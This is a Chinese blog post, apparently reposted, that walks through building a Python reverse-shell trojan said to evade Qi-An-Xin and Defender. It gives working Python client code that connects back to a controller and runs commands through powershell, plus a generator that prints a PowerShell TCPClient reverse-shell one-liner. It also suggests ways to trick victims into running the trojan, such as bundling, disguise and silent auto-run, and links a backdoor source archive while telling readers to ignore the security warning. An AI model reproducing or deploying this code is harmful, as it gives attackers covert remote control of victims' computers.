python 实现nc功能 免杀案例——的确可以绕过奇安信,defender这些edr
作者:互联网
这里仅用反弹powershell演示,大家可以发挥脑洞
自创反弹shell免杀五部曲:
-
1:确定想法
-
2:实现框架
-
3:增加保护
-
4:启动木马
-
5:维持会话或提权
1|2一,确定想法
用python服务器与客户端的原理制作反弹shell的控制端与被控制端,
最后执行在会话中执行恶意命令来获取一个稳定的powershell
记:控制端两次使用的端口不能相同
1|3二,实现框架
这里我们需要两个文件
受害者运行的恶意程序
在第一个会话中执行代码的生成器
受害者运行的恶意程序编写
1. 我们采用socket库编写,这里只用编写客户端(受控端)的代码,服务端(控制端)使用nc即可
木马的代码:
(注:可以用pyinstaller转换为exe)
import os | |
import time | |
import socket | |
'''################''' | |
server_ip = '' # 更改为控制端的IP | |
server_port = 13524 # 更改为控制端的第一PORT | |
'''################''' | |
mod = '''powershell -nop -c "{0}"''' | |
s = socket.socket() | |
while True: | |
try: | |
s.connect((server_ip, server_port)) | |
break | |
except: | |
time.sleep(3) | |
while True: | |
s.send(b'[Powershell:->') | |
cmd = s.recv(1024).decode() | |
s.send(os.popen(mod.format(cmd)).read().encode()) | |
s.close() |
现在我们还需一个在第一个会话中执行代码的生成器
1|4推荐参考Reverse Shell Generator 反弹shell生成
这里放出代码及使用方法
import sys | |
server_ip = sys.argv[1] | |
server_port_second = sys.argv[2] | |
print("服务端IP:",server_ip,"\n服务端监听powershell端口:",server_port_second) | |
print('复制代码在nc中运行:') | |
print('''$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});'''.format(str(server_ip),str(server_port_second)),end='') | |
print('''$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()''') |
使用方法:python3/python + 这个文件的地址 + 控制端IP + 控制端另一个端口
弹回的执行代码 复制
e.g. python3 creative.py 127.0.0.1 12212
1|5三:增加保护
作者采用pyinstaller保护(其实pyinstaller后会被杀软误判)
这里不细讲,可以看看crow在B站的视频
1|6四:启动木马
想办法让受害者运行木马,这里举几个思路
1. 捆绑软件
2. 伪装软件
3. 伪装并让受害者不知情地下载,然后悄咪咪的自动运行
4. 渗透内网
5. 调用漏洞
当受害者运行木马后
我们自然得到第一个会话
e.g. [Powershell:->
接着在里面输入复制好的代码并回车
2|0重点:此时刚刚的代码会命令受害者连接控制端的第二个端口,而刚好就是这个特性能够几乎所有杀软(即使无法连接第二个会话,也有第一个简单的SHELL)
2|1五:维持会话或提权
2|2此时执行 nc -lvvp 第二个端口 就能获得稳定的powershell
2|3相关资源下载(可能提示有危险,不用管他,毕竟是Python 木马):
- [源码包] http://liuyyds.cn/BackDoor.zip
- [反弹shell生成] https://www.revshells.com/
- [演示视频] (https://www.bilibili.com/video/BV1uF411i7S8/)
- [免杀效果] (https://www.bilibili.com/video/BV1FS4y177yJ/)
标签:免杀,python,ip,代码,nc,server,port,木马,powershell 来源: https://www.cnblogs.com/bonelee/p/16540920.html